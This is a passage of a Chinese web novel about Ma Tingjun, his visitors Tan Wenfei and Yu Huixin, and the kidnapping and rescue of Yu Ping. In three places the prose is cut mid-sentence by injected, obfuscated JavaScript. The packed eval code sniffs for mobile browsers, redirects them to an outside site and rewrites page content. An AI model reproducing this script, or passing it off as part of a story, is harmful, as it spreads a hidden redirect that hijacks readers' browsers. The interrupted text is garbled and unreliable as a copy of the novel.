谈文翡笑道:“平时多关心你弟弟,你要对我有意见,你们谈天我都闭一只耳朵。” “唉,也就几天没见你!现在自己缺一个弟弟,多一颗善心,要把我弟弟拐过来养。” 脚步声是那时传来的。郁蕙心把其余尖酸刻薄的言语咽下去,招呼道,“人来了。” 得知是他们要来,麻霆君不敢打扮太张扬,草草穿了体面衣衫,亚麻面料,并不张扬。刚看见这两人皆是光鲜亮丽,尤其是郁蕙心耳朵上两粒钻石耳坠,忽闪忽闪,仿佛无声向他眨眼睛; 他心中难免惴惴不安,皱着衣衫与嘴角,亚麻是熨不平的,嘴角——许是昨天扬的太厉害,把今天的力气扯走了。 谈文翡不打量他,单是目光在他脸上刮了一记,道:“你就是麻霆君?” 谈文翡与麻霆君一般高大,甚至因由长发齐腰,看上去拔高几寸;颜青号称万花丛中过,唯独挂念他。麻霆君先前嫌颜青老装痴情,如今居然说得通了,甚至罕见相形见绌,更加抵挡不住谈文翡镜片之后锐利目光,胆战心惊道:“是。” 郁蕙心踮起脚,小声在谈文翡耳畔道:“还不错的,个子也挺高。” 谈文翡犹豫道:“是还可以?” “是吧,我的眼光错不了。” 这两人窃窃私语一阵,叫麻霆君坐立难安。不说哪里叫谈凭玉一直怀恨在心,就算是茶叶交付出了纰漏,也有罪在先,立刻赔礼道:“谈先生,茶叶的事情……” 谈文翡道:“没事的。” 麻霆君又道:“我托颜青接手了您在栀子花街道的银行,以后麻烦您会更多,请多多包涵。” 谈文翡朝他笑了笑:“要是遇见问题,挑休息日找我,我一般在谈公馆。” 看麻霆君实在紧张,郁蕙心知道,主动道:“你是颜青的好朋友,还姓麻,是不是有一位姐姐叫添姝?” 麻霆君承认下来。郁蕙心道:“颜青是我的朋友,添姝也是我的朋友,我想我们也是能做朋友的,只是缺一段契机。你可以假装已经和我们熟络了,不用太紧张。” 她说得好听,叫麻霆君愈是摸不着头脑,不知道他们来做什么,才记得招呼他们坐下。 剩下边上壮汉与麻霆君干瞪眼。前厅是个等人的,从未想过要容纳如此多客人,麻霆君忙叫佣人搬了餐厅的椅子,壮汉刷拉拉坐了一片。 小莓不肯和他们一起坐,撑在椅背后。郁蕙心叫她蹭自己的裙摆,挤一张沙发上。小莓伸手捞桌上的乌梅糖吃,无奈手生得太短;谈文翡替她代劳了,小莓又是不肯接下,请郁蕙心出主意。 唯有麻霆君讲师般站在他们之间,莫衷一是——开口问出为什么在邮箱里有他的照片,必然是因小失大,出卖了颜青;若是划了谈凭玉的车,早被揍过了;除去茶叶与银行,麻霆君想不出自己能与他们存着什么纠葛。他们又是为了什么而来?实在没有头绪。 “谈先生,郁小姐,我得知四少爷失踪以后,派人在临海的滩涂寻找他,可惜一直没有他的消息,只遇到过一些难民。” 麻霆君担忧言多必失,只说在这里。 对面两个人都悠闲,郁蕙心为小莓剥糖果。谈文翡却不关心弟弟性命如何,只问:“从来没听凭玉提起过你,你们是怎么熟悉的?” 麻霆君茫然道:“我和他不熟悉。” 郁蕙心扑哧一笑,道:“他不认识凭玉,凭玉知道他!好像是几年前见过一面,叫凭玉始终挂念着。” “我以前刮了四少爷的新车,可我确实是无意,他也知道。后来他……” 麻霆君脸色窘迫一阵。边上的佣人识趣退下后,他才低声承认道,“后来他把我揍了一顿,便是两清了。其余再没什么瓜葛。” 郁蕙心叫了谈文翡,道:“我看他不像说谎的样子。单是这事,凭玉也对我含糊其辞,估计就是他说得这样。” 心里不知道打起什么算盘,忽然问道:“你想不想和我们一起回枢城,先在谈公馆住着。” 这话把麻霆君吓得不轻,倒吸一口气,道:“我来谈公馆干什么?” 谈文翡道:“等我弟弟回来。” 麻霆君再道:“四爷失踪,与我无关……” 来鹭镇途中有漫长一片菜畦,都种碧绿白菜。看见麻霆君,想来他比光洁的菜帮更加纯白。谈文翡从他嘴里是打探不出消息,他也不肯从自己的意,不想浪费时间,起身要走。 麻霆君以为自己有什么怠慢,急忙站在他面前,道:“谈先生,不如吃过午饭再走。” 谈文翡道:“不麻烦了,本就是临时造访。” 郁蕙心把叠成形状的糖纸塞给小莓,快步追在谈文翡身后,道:“添姝叫我帮她取金项链,不如等一等。正好也快中午,吃过饭再走。” “金项链算什么刚需。”谈文翡道,“早上还听你说今天有其他安排,不如我快点送你回去,也别为难他了。” 郁蕙心嫌他在愚钝,小声道:“你也养猫狗,怎么不懂?我说依了他吧!至多欠一个人情,明年商会的茶叶给他便是了。” 有这话加成,麻霆君俨然成了只乖顺的大型犬,呜咽着讨一个拥抱,叫人不忍心拒绝。谈家养猫狗不少,尤其是谈凭玉,总喜欢牵只神气的黑狼犬——不免会对麻霆君动心思;谈文翡再看他时已不对劲,若是拒绝他,伤得是家人的心,便道:“吃过饭再走吧,辛苦你们了。” 麻霆君立刻笑道:“我家的饭很好吃!不过离饭点还有些时间,我先带二位去花园散散心。” 跟谈文翡来的壮汉们知趣地留在前厅,小莓随郁蕙心的裙摆走。郁蕙心不想和谈文翡走在一起,叫小莓去打发他; 小莓是跟郁家小少爷的,方才愈发清楚,谈文翡连自家少爷什么学校都记不住,又抵不过他对郁小少爷补救般的关怀,勉强搭着话,脸上笑得比石头还硬。可怜的小莓!麻霆君怜悯起她弱小的背影。 他们走在前面,郁蕙心也是触目惊心,中途看一眼麻霆君缓解,不想麻霆君也僵着表情,便拿他窘相取乐。而后麻霆君不经意间瞄到她,二人皆是心知肚明,相视一笑。 郁蕙心道:“你老实告诉我,你喜欢男人还是女人?” 麻霆君到底不如他们开放,也不想与初次见面的人物开诚布公,便含糊道:“我是等候缘分的。缘分是什么,我就接受什么,心里没想过太多。” “要是缘分不来,岂不是一辈子孤独着,你能忍受吗?” “孤独也不至于,我有家人陪伴。再说了一辈子也长,何况我相信‘宁缺毋滥’。” 郁蕙心心中大致有数,笑了笑道:“你要是与常人没什么异同,我叫凭玉死了这条心。要是有这方面的意思,是可以考虑一下去谈公馆。我想你能够接触到的人物,没有一个能比凭玉更加出色。” “蕙心小姐,我听不明白,我和四爷有什么瓜葛?” “他说你挺可爱。” 可爱?麻霆君听得毛骨悚然,连谈文翡与小莓的恐怖相处都变作一派和谐。 郁蕙心笑道:“他以前就想找你,无奈他是不露面的,也没有打听的机会,只托人开了张悬赏令。可惜枢城没人想要招惹他,所以一直钉在墙上吃灰。” 谁想招惹谈凭玉?许是麻霆君那天被打得太厉害,一时间居然记不起他的模样,只知道他像狐狸——俞平若是颗珍珠似的小白狐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369728|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狸,谈凭玉自是狐狸老祖,凶险丑恶,恨不得扒了麻霆君的皮。 郁蕙心又道:“不过凭玉究竟喜欢什么,我也吃不准。我看你人好像不错,可能他只是想和你交朋友?总归别往坏处想。” 麻霆君道:“他若是真想与我交朋友,为什么揍完我嫌不够,还要开悬赏令?我想这在逻辑上是行不通的,兴许真是我在哪里得罪了他。” 郁蕙心也不挑明,道:“他交朋友的流程很是复杂……倘使他还在,不如你自己去问问他。我知道的都在这里,别的也答不上来。” 麻霆君道:“他不是失踪了?” 郁蕙心对他的问题挑三拣四起来,并未回答。 料想谈家盘根错节,其中水有多么深,不是能够与他一个外人分享的。麻霆君暗自思考过,换了一种方式,又道:“蕙心小姐,四爷长什么模样?你说他有心与我相识,要是以后真见到了,说不定我也能帮忙。” “你老实告诉我,谈文翡长得怎么样?” “很英俊!” “你要是觉得他英俊也不稀奇。许多人都说他英俊,尤其是颜青,我说他们真是疯了。不过也好理解,毕竟他们没有见识过凭玉,凭玉比他漂亮得多。”郁蕙心感叹道,“凭玉的妈妈是电影明星,他要是也去拍电影,只能作花瓶。” 麻霆君心里暗暗吃惊:谈文翡当然是无与伦比的英俊,谈凭玉还能往什么模样上长? 咬文嚼字起来,郁蕙心说的是“漂亮”;比谈文翡更加漂亮的人物,麻霆君心中自有人选。可惜那位是不能提起的;这两位的人脉涵盖半坐枢城,那位又不太敞亮,万一真有什么瓜葛——麻霆君还预谋下次去枢城吃什么菜!唯有求救颜青不止散布的八卦内容,道:“可是我听说他的脸被子弹打烂了。” 又道:“是颜青告诉我的,我想应该是这样。” 郁蕙心释然道:“你说得也没错。” 她一会赞美谈凭玉,一会认可颜青所传的八卦,麻霆君生生觉得别扭,想来是十多年前一枪,粉碎的不仅是谈凭玉的容颜,更是扭曲了他的心灵。 郁蕙心点到为止,并不继续怂恿他,聊了些围绕着颜青的趣事,有几件特别丢脸,颜青居然一直瞒着不讲;谈笑间这两人自然熟络起来,郁蕙心不愧是颜青与姐姐严选的,十分有趣,一时间互相成了自己人。 郁蕙心道:“下次牌局缺人,让颜青把你带来。牌打得多了,也就熟悉起来了。” 麻霆君坦诚道:“我不会打牌。” “不会打牌?真是好人啊。”郁蕙心掩着嘴笑得开心,“我一开始也不会打牌,打牌,真正摸了几轮,才知道有多险恶。一旦沾上再也挥不去了!难怪是恶习。” 他们前脚踏出去花园观景,后脚俞平捎着詹兰竹的信到了。 “五爷在吗?” 守门的人不会拦着俞平,也不火急火燎地去通报,闲闲地带他去前厅等候。 俞平才踏进前厅,在转角处望见远处几个魁梧的身影,心里紧了紧,退到其他的房间,唤了一位男佣人,道:“打扰了,请问今天是麻公馆的什么节日?” 佣人也不答,道:“你就是俞平?” 俞平应了声,去摸口袋里詹兰竹的信件。信封是完好无损保存着的,一个角也没折。俞平把它捏在手里,那佣人约莫是打量得心满意足,又道:“听说五爷新结识了一位以往卖给权贵的,我猜一定是你。” 先前胖子瘦子也试探过他,俞平只当作他们太新奇,甩过脸色便是安定了。不想这人多么不怀好意,也不客气道:“不必隐瞒我,你想说什么?” 佣人笑道:“我是想认识你!我在麻家许久,还没见过你。” 无礼之徒不是没见过,再说鹭镇淳朴得过了头,从未见过这般糟粕;何况俞平是有要事在身的,不想与他计较,意欲去麻霆君的房门口等侯,至少清静些。 他正要上楼,大汉们活动起来,排队往餐厅的方向走。俞平不敢多看他们一眼,再回了原先的房间,与那佣人四目相对。 算了!能从他口中打探些消息,也不在乎什么尊重——俞平正是这么想的,勉强挤出一个笑,问道:“今天公馆里来的是什么客人,能告诉我吗?” 佣人道:“他们是保镖一类的,等着开饭。至于他们要保护的贵客,都在花园散步,你要是好奇,自己去看便知道了。” 他身后一片落地玻璃窗,俞平以往在中庭花园见识过,想来是面朝花园的,挨了过去;谁知他才刚拉开窗帘,后颈立刻被狠狠闷了一记。 昏倒前只听见那佣人低声道:“对不住了。” 26.之客 昏得颠三倒四再熟悉不过,耳边无尽是浪花翻涌。眼前漆黑的无底洞浮现出指甲盖大小的光斑。插满蜡烛的生日蛋糕是小小一点,月是夜空中忽明忽灭的烟头; 沉没海底所眺望前空,看见的究竟是蛋糕还是月亮——俞平立刻被惊醒过来。 周遭环境不是一般熟悉。灰扑扑的石板地,墙角结着蛛网,顶上吊下几只电灯泡。 又在柴房。 俞平挣扎了下,动弹不得,又扭着肩膀,才发觉手脚都被草绳捆扎住了,嘴里也堵着布条,心里竟踏实不少;原来不论蛋糕亦或月亮都是他见识过的,并非海妖为他编织的一场梦——记挂什么! 沦落至此,记挂什么麻霆君!俞平再被自己吓得不轻,忽地想起上月——上月叫嚣要回枢城的,莫非不是他自己心中的呐喊?这时徒然存了几分真心,又莫非真是沾上了麻霆君身上的傻气。 他眼睛耳朵被柴房关着,嘴被布条堵着,心跳得愈是激烈,跃出来一般,一下下往遥远的天边去了。 好不容易耳畔重新被虫鸣占据,冷静下来,勉强吐掉了嘴里的布条,细细思索在前厅种种,最后是那佣人害他。可他在鹭镇上早是笑话了,若是取乐,不必如此大费周章。 那人必然是有求于自己的,甚至见不得光。麻公馆大部分人物心地善良,俞平在麻公馆不至于碍了谁的眼,只想得出今天来客的缘故,偏偏下手的又是麻家的佣人——往下再没有头绪。俞平心一横,正要喊叫,却听见外面脚步声不断,姑且按兵不动着。 先前小莓实在无法与谈文翡相处,不一会哭丧着脸求郁蕙心安慰。她没了散步的心思,郁蕙心也不愿继续消磨时间,无奈谈文翡貌似有事相求; 考虑到他们曾经关系,麻霆君不愿竖在中间,主张带小莓去餐厅等开饭。他不愧是底下有一群妹妹的,小莓眼里他比谈文翡好上一千倍一万倍不止,雀跃地跟在他身后走了。 阳光灿烂照出两人心思昭然若揭,谈文翡同郁蕙心间隔两拳的距离,挑三拣四,来到柴房旁。 柴房边上更是荒芜,杂草丛生,星星点点洒着红色野果。谈文翡心思慎密,手才捞到柴房门锁,郁蕙心的嗓音顷刻传来:“你真是亏心事做得太多,除了你,哪有鬼来敲这里的门。” 谈文翡便收回了手,笑道:“以防万一。” 郁蕙心不满道:“遭人听到就听到了,有什么见不得光的!我真是要问你,凭玉到底怎么样了?为什么你们一个也不着急?” 谈文翡显得从容太多,道:“比起凭玉的死活,我更加好奇他是什么时候看上那位霆君的。我们从未听他提起过,怎么就单告诉了你。” “一个不关心自己亲弟弟性命的冷酷之人,有什么值得倾诉!” “你别担心他了。他眼光好懂,心思不一定。” 谈文翡笑得晦涩,郁蕙心身上寒了几分。 郁公馆在谈公馆下风口。谈家兄弟之间的争斗,纵使她不想研究,风也吹了些过来。文翡与凭玉的暗涌,是为一只翡翠扳指而起的;近年她和凭玉走得近,又有悔婚约在先,不免对谈文翡抱着敌意。 谈文翡倒是一概大度地忽视了。正是知道她心中如何,他开口道:“你每天在宴会上听旁人讲悄悄话,不如来问我。” 郁蕙心道:“我有什么话好问你!你和凭玉恨得太远,就算你否认,我凭什么断定下毒手的不是你。” “蕙心,你知道,我向来不屑于说谎。” 谈文翡嗤笑道,“我是和凭玉关系不好不差,但他毕竟是我弟弟,我不至于要他性命。” 郁蕙心嫌他太道貌岸然,刚想把扳指的事情与他撕破,却看见谈文翡手上戴得满满当当; 她好些日子前见到严太太,严太太又添了新玩意,沉香珠串上装翡翠平安扣,一粒赛一粒绿。凡有那般绿的都是顶级货色,意义净是人赋予的——一串沉香木上藏匿多少春天,至于“整座枢城的春天”,不去计较也罢。 谈文翡打小在她手里锦衣玉食惯了,孔雀见了照旧逊色几分。什么扳指,什么宝物,兴许真是聚会上自诩名流之辈过嘴瘾,谈文翡可不兴“东宫娘娘烙大饼”一套。 郁蕙心脑海中杂乱,忽然被她拨开一片,道:“严家势头不如以前,你妈妈呢?会不会是严家在幕后主使的。” 谈文翡道:“她要是出手,我只会有行一一个弟弟。” 提起谈行一——谈文翡不免多说了几句:“我们之间分成两派,行一两边都处得太平,谁也不得罪,最后坐享其成就行了。” 郁蕙心便道:“看你和他关系不错,没想到背地里这么说他。” 谈文翡笑道:“话不能这么说,行一是很讨人喜欢的。” 兄弟之间猜透了,唯独剩一位大小姐。谈皎是郁蕙心不忍心怀疑的,每每回想起少女时期,免不了谈皎的黑色裙摆;谈皎又是无理由的苍白,像是摆在暗处的俄国瓷娃娃。 “怎么不说她?” ……郁蕙心十五六岁要逃婚,独自跑去伦敦,先跟船去香岛,再搭飞机。谈皎还来码头送过她。那天海鸟都扑闪着黑色的翅膀。往后塔桥上风一吹,郁蕙心才想起那是乌鸦。 后来乌鸦掠过她的肩头——郁蕙心始终哑着。谈文翡等不着回音,也不作声,许久才道:“谈皎更不会害凭玉,她能够有今天,纯粹是拿凭玉作威。” 外人以为谈家里二爷同四爷咬,没想到是与大小姐打。郁蕙心才记得要看他。他再道:“我家以前为了保护凭玉,确实把他塑造得叫人害怕。枢城每年都有来我家面前叫板的,拿他下手,回报最可观,说不定是什么毛头小子用他立威。” 郁蕙心迟缓道:“有这种人?” “凭玉上次回家,有人来家门口堵他,一定要和他出去看电影。行一教他滚都不要出去讲,否则便宜了那人。谁知道那人很是执着,在门口守候了一天,最后凭玉出去叫他快滚,他才走了。” 谈文翡笑了笑缓和,劝郁蕙心道,“你不用太为他担心,我反而觉得是天赐良机。” 郁蕙心才开小差,立马要怀疑自己的耳朵。谈文翡说这样的话?她道:“怎么成好事了?” “他命大才是好事,要是他过几个月真能够回来,能用什么人,除什么人,一概看清楚了。” 谈文翡道,“何况谈皎已经替他开始下手,他只用坐享其成。我告诉过你吗?谈皎早就到广东了。那里的事务有很多都是凭玉的名字。” 光来几只乌鸦翅膀,够把郁蕙心扇得鬼迷心窍,禁谈文翡这么一说,更加分不清东南西北。 他是和谈皎斗坏了!两个人皆不成人形,全心扑在谈家有限的家业上,逐渐变成两个怪物。怪物是面目可憎的,谈文翡有时却挺可靠。郁蕙心心里乱麻似的斩不开。 “所以——”她顿了顿,“凭玉到底是死是活?” 谈文翡耸耸肩,道:“我真的不知道。” 又道:“不过他姐姐没着过急,我想不是很严重。” 郁蕙心同他无话再讲,抬腕看了眼手表,表盘上镶一圈钻,午时格外晃眼,她再拿手挡了挡,才看见时间,道:“你若是没别的话问我,我们应该走了。” 谈文翡却道:“我前阵子在香岛,顺手给你弟弟买了颜料,不知道是不是他常用的。都放在家里,改天带他来点一点。” 郁蕙心瞪他一眼:“自己送到郁公馆门口。” “我想你说得对,我是该偶尔抽空关心身边人物。” “没安好心。” 餐厅里冷盘上了两圈,正摆着热菜,一群人等他们来了才肯开饭。小莓面前的盘子里沾着几滴蜂蜜,必然是偷吃了一块桂花糯米藕——为看上去对称,偷吃的是两块。她朝郁蕙心心虚一笑。 席间大多是筷子打架的声响,小莓和郁蕙心偶尔说几句悄悄话,没有人光顾谈文翡。他们既然不在意冷清,麻霆君也管自己夹菜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389397|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 饭后管家提着礼品接待他们——老爷和麻乌金出远门了,否则招待得会更加周到。 麻霆君站在管家身旁,分发礼品时一个个点头过去。挨在郁蕙心这里,多与她客套几句。 小莓在外面转了一圈,回来后头上多了一个玫瑰色的蝴蝶结。郁蕙心看得奇怪,抛开麻霆君,问道:“哪来的发卡?” 小莓道:“刚才出去放茶杯,看见一位小姐。我想她好漂亮,一直看她,她要送给我的。” 麻霆君笑道:“应该是我妹妹秋棠,她喜欢买饰品。秋棠估计也很喜欢她,女孩和女孩玩得好。” 郁蕙心与小莓一起向他道了谢。谈笑时余光看见谈文翡在一旁吩咐手下,郁蕙心想起柴房前面他的神情,他有多么笃定! 她自知这话必然多嘴,却下了决心,道:“我想你在文翡手里买银行,卖茶叶,必当是为了金钱。当真只看重缘分,不看谈家多少资本?凭玉是他们家最有钱的,你先去他们家住下,后面的一切好商量。” 麻霆君自然不想答应,看郁蕙心实在真诚,也不想与她撕破脸,谁不爱钱!生财之道总是狭窄,郁蕙心早是见怪不怪了,为他指了一条最轻松也是最暴利的,他却是个新式的青年,要赚钱,多得是堂堂正正的法子; 两厢情愿的事情,有人要体面,拿爱情作糖衣,实际上两厢都不情愿。使人堕落的方式有一千种一万种,麻霆君自以为它们从不会与自己沾边,自己的堕落顶多是去枢城多花点钱买新式行当。没曾想到郁蕙心这般直截,话里话外喊他去平四爷的冤魂。 麻霆君也不想推辞得太敷衍,忽然腼腆笑了笑:“我不想瞒你。我心里有喜欢的人。” 这话说得他自己都吓得不轻,仿佛是另一个人霸占了他的嗓音,把他五脏六腑藏得秘密全翻了出来。他喜欢的是谁? 郁蕙心脸上讶异一阵,不肯相信他的话语,道:“你说有就是有?怕不是随便找个人搪塞我们。” 麻霆君姑且道:“真是有!” 要说谁?俞平?不是关心俞平初来乍到,不是担忧俞平起梦魇,是他心里真的有俞平?爱情是令人向往的,麻霆君承认自己对未来有期待,生活、身份,恋人,莫非他早早把自己预定了出去,他真的爱俞平?俞平爱的又是谁? 总归先在郁蕙心这里蒙混过关要紧——麻霆君下定决心,咳了咳壮胆,却还是支吾道:“他姓俞,也在枢城生活过。我不知道他什么心意,不好和你讲太多。” 郁蕙心笑道:“难怪说好的男子总是早早被人抢了去!等凭玉回来,我会把他劝好的,一定不会打扰你。” 麻霆君道:“不如我们交换号码,有事常联系,不劳烦你们大驾光临了。” “以后要是添姝姐姐和颜青出糗,我也会偷偷代为转告的。” 郁蕙心笑着从皮包里摸出一只巴掌大的牛皮封笔记本,钢笔在上面转了转,撕下那页递给麻霆君,“我有两个号码。最近家人看我不顺心,我偷偷搬出去住外面的公寓。你要是想找我,优先打第一个。” 麻霆君也在她的本子上留下电话。眼见时候差不多,没有再在麻公馆留的道理,郁蕙心扭头叫过窗前的谈文翡,正是要走。 门口进来一位佣人,并不与郁蕙心打招呼,只对谈文翡说:“二爷,请留步。” 郁蕙心心里奇怪,看紧了身后的小莓。麻霆君走在他们边上,问道:“是二爷有什么东西落在家里了?” “不是。”佣人道,“是我们这里有一位美男子,原先是贴身服侍富家少爷的,不太清白。可他长得是在太美,我想他是个宝物,特此请二爷品鉴一番。我家送的特产不上档次,二爷若是喜欢他,不妨当礼物带了回去。” 麻霆君脸色一变,急切道:“你说什么?” 佣人以为自己想得多全面,麻霆君即刻被喜悦冲昏了头脑,道:“五爷,正是那位俞……” 麻霆君打断道:“他在哪里!” 27.隐疾 有麻霆君出面,谈文翡见状,不想插手他们家事。郁蕙心虽是好奇,也没有留下的道理,勉强安慰几句,走时克制着频频回头张望。 到底是憋不住,她朝谈文翡提起:“麻霆君刚才和我说过,他喜欢的人也姓俞。” 谈文翡淡淡道:“操心别人的感情状况,不如担忧你自己。” 郁蕙心吃了一瘪,心里气着,快步往他边上靠:“谈文翡,我一直忘记问你,青睐你的女子男子都不少,为什么还孤零零的?你是不是有什么隐疾?” 谈文翡笑道:“我么,我也想不好。” 吩咐好管家先教训那佣人,外加胖子瘦子监督,麻霆君领着阿吉找去柴房。那佣人不知对自己太有信心,亦或太小瞧俞平,柴房上未曾挂锁,只是掩着。 阿吉知趣守在门口,麻霆君一撞即开,见到俞平躺在地上,手脚皆捆在一起,一动不动。 麻霆君叫了声:“俞平!” 俞平木木地转头看他。脸上一切惊恐的神色都没有,单被平静占据着,血色都让了路,惨白得实在密实,像是一管厚重的白油画颜料。 麻霆君跪在他身前,两刀划开绳结。 俞平解放出来,活动手脚,半是坐半是跪,先开口问道:“今天是谁来?” 麻霆君道:“是谈文翡和郁蕙心,我记得你认识他们。他们是冲着我来的,我与他们有些纠葛,都是小事。” 又道:“你受苦了,是我不好!早知道你要来,我一定撇下他们。” 俞平应一声,也不关心谁害的他。无奈被绑得太久,挣扎着站不起来,软绵绵栽进麻霆君的怀里。 麻霆君实在心疼不已,无端想起俞平神采奕奕——还是在昨天的时候,他们开车回到鹭镇,俞平望向他时眼眸似笑非笑,融在糊作一团的树影,融进薄薄的夜色之间。他试探性地把俞平搂住,俞平身上温热,抱起来一点不吃力。 许久俞平才要推开他。麻霆君哪舍得!两颗心隔着薄薄衣料搏斗着,便是牵了锁似的。他手伏在俞平脊背,看俞平的后脑勺,看哪里都可怜。 什么豪门富贵,能换俞平眉目舒展一些,尽是过眼云烟,便顷刻想去吻俞平,吻他手脚上红肿的勒痕,吻他脸颊出淡淡的色彩。 俞平也奇怪,说是要走,再任麻霆君把他裹进怀里。两人太紧密,他呼出的气息在麻霆君的皮肤上,片刻由睫毛轻轻扫了去。半晌才道:“霆君,我口袋里有一封信,你拿出来看。” 麻霆君才肯任他退出自己身前,伸手进他口袋里摸索,替他代了劳。摊开后信件看见落款人物,麻霆君眼前骤然堵着一口气,心里更是憋屈得不明白。 俞平又道:“邻镇有出发去茶山的青年,早上来过布店。今年天气不好,茶山有许多起泥石流,天灾不可控,也许詹兰竹不是故意违约的。我来就是想讲这件事情,请你多些体谅。” 麻霆君忙道:“不要紧的!我早再请人去茶山打探,若是见到兰竹,一定会把他带回来。” 往后又说着道歉的话语,只怪自己太疏忽大意。俞平不管他嘴里絮叨什么,正式推开他,道:“我现在心里很乱,不想和你讲话。” 颜青的大哥与麻霆君的二姐婚姻美满,这位前辈曾经教导过他们:哄女孩子,照她说的反着来。麻霆君无师自通,哄男孩子,难道能顺着他的心意?不论女孩男孩,友情爱情,终归是人与人的情谊,便愈发不想放他走,哀哀求着:“俞平,是我做的不对,我没有保护好你。你讲什么,要求什么,我都答应。” 俞平道:“你去接待客人了,怎么来保护我?是我太没防备。” 麻霆君先前与自己作斗争未果,被噩耗快马加鞭地一赶,顿时整个人都想赖给俞平;听到这话心里徒然一激灵,只怕俞平心里起防备,是为图拦下自己。 俞平淡淡笑了笑:“我没有不高兴,没有怪罪你。我实在想不出有什么话能和你讲,想要一个人静一静。” 麻霆君再依依不舍还是作罢。俞平摇摇晃晃走出柴房,被太阳晒得精神不少。 后门在不远处,缠了层层锁链。阿吉没有钥匙,替他摇开条门缝,姑且请他挤出去,关门前嘱咐道:“那人心术不正,我们公馆规矩严,罚完再把他赶出鹭镇,不会让他再回来的。” 俞平走出几步,反倒绕了回来。麻霆君必然留守在后门目送他,以为他回心转意,感动不已,心脏突突地向外跳,还记得往边上躲了躲,把阿吉推出去当盾牌。不想俞平正是要找阿吉说话。 “你可以等兰香下课再去找她,她要闷死了。” 阿吉保证道:“俞平大哥,你放心,小弟一定把抓来的鱼都献给兰香。” “你会珠算吗?” “不会。” 俞平泄气道:“我后悔了。刚才说的都不作数,你离她远一点。” 阿吉忙道:“不行,哪有反悔的!” 一旁麻霆君朝他挤眉弄眼——阿吉又道:“对,不管反悔不反悔,你尽管相信我们五爷,不用担惊受怕。” 说了一半,麻霆君在底下偷偷踢他。阿吉看他实在着急,却读不懂他唇语,磕磕巴巴一阵,自己顶了上来:“我晚上就开始学珠算,一定教会兰香。” 俞平笑道:“下个月兰香期末考,正好检验你的成果。” 阿吉光顾着咧嘴朝他傻笑,关上门后看见麻霆君凶巴巴地盯着他,道:“五爷,我听你的安排,一早就去湖边遛狗。我是无辜的。” 麻霆君正是看谁都不顺眼的时候,却也无法拿他撒气,自顾自憋了会,才道:“害俞平的是什么人?照理说我家不会有这样缺德之人,他若是我家的家丁,我要好好问爹讨个说法。” “我看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418594|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也面生。”阿吉道,“前阵子准备家宴,额外招了些短工。他估计是外乡来的,心思不干净。等老爷和大爷回来,再打发他。” 两人面对面站立一会,眼见麻霆君气还未消,阿吉自作聪明道:“五爷,我看俞平是很想对你好的。” 又道:“五爷记得俞平怎么来的鹭镇?是被我们从岸边救来的。俞平心里本就为男人受过伤,刚刚还被男人暗算过,现在一视同仁地提防所有男人,并不是针对你。” 麻霆君板着脸:“我听出来了,你是在说我喜欢他。是不是?” 阿吉期待道:“五爷,和我说心里话不要紧的,我什么人都不会告诉。” 麻霆君先前搪塞郁蕙心,只为能够体面把她送走,顶多编个俞平不睬他的后话,再无后顾之忧了。他爱俞平么?爱好像太沉重了些。叫他在俞平身旁谋一个身份,他没有这么狂妄的愿望; 若是不爱俞平,方才的悸动是什么?他再推三阻四,也要承认:他贪恋俞平在他怀里的时光。 麻霆君心思早飞出后门,黏去俞平身上;想来想去,他只想和俞平长长久久地在一起,什么爱与不爱,朋友或恋人,俗世的束缚不能架在他身上。能够享有俞平的眼眸,能够请俞平为自己笑一笑,什么都不重要了。 郁蕙心是枢城飞出的一只鸟。面对阿吉——阿吉是什么?阿吉若是笑得灿烂三分,牙缝里菜叶若隐若现,要把和俞平一同捕捉到的夜晚倾诉给他,麻霆君真是难以启齿,只道:“我和布店来往密切,免不了注意他。他又在我们家受这样一场无妄之灾,我更加对不起他了。” “五爷千万别自责!我相信有很多人贪图俞平,不凑巧遇上个胆子大的。”阿吉眼珠一转,道,“不如把俞平请来我们公馆做工,把他看在眼皮底下。” 麻霆君道:“就是怕他怀疑我也对他心怀不轨,我岂不是好心帮倒忙了。” 阿吉道:“怎么会?五爷心术正,为他保驾护航,那些人也动不了歪心思了。” “好主意。你去?” “肯定是你去。” “你去。” “咦,我又不会珠算,怎么去布店。” 阿吉撑开锁链。无奈麻霆君体型大,阿吉拼死不能把他推出去,险些还卡在门缝里,只好再把他拉回来。两人一起追出前门,面朝空落落的大街,早不知道俞平在哪里。 俞平在邮局。 听得懂谈文翡与郁蕙心的谈话,算他身不由己。听得懂却躺在地上不作为,也算他身不由己。俞平花掉仅有的零钱买了信封信纸,讨了一支笔,去窗台边借天光写字。 正对出去栽有一棵山茶树,高过屋脊,黑压压窜出一只大鸟,俞平眯着眼睛看一刻,分不清是乌鸦是喜鹊,再低头时也不知道能写出什么,便把信纸叠进信封。 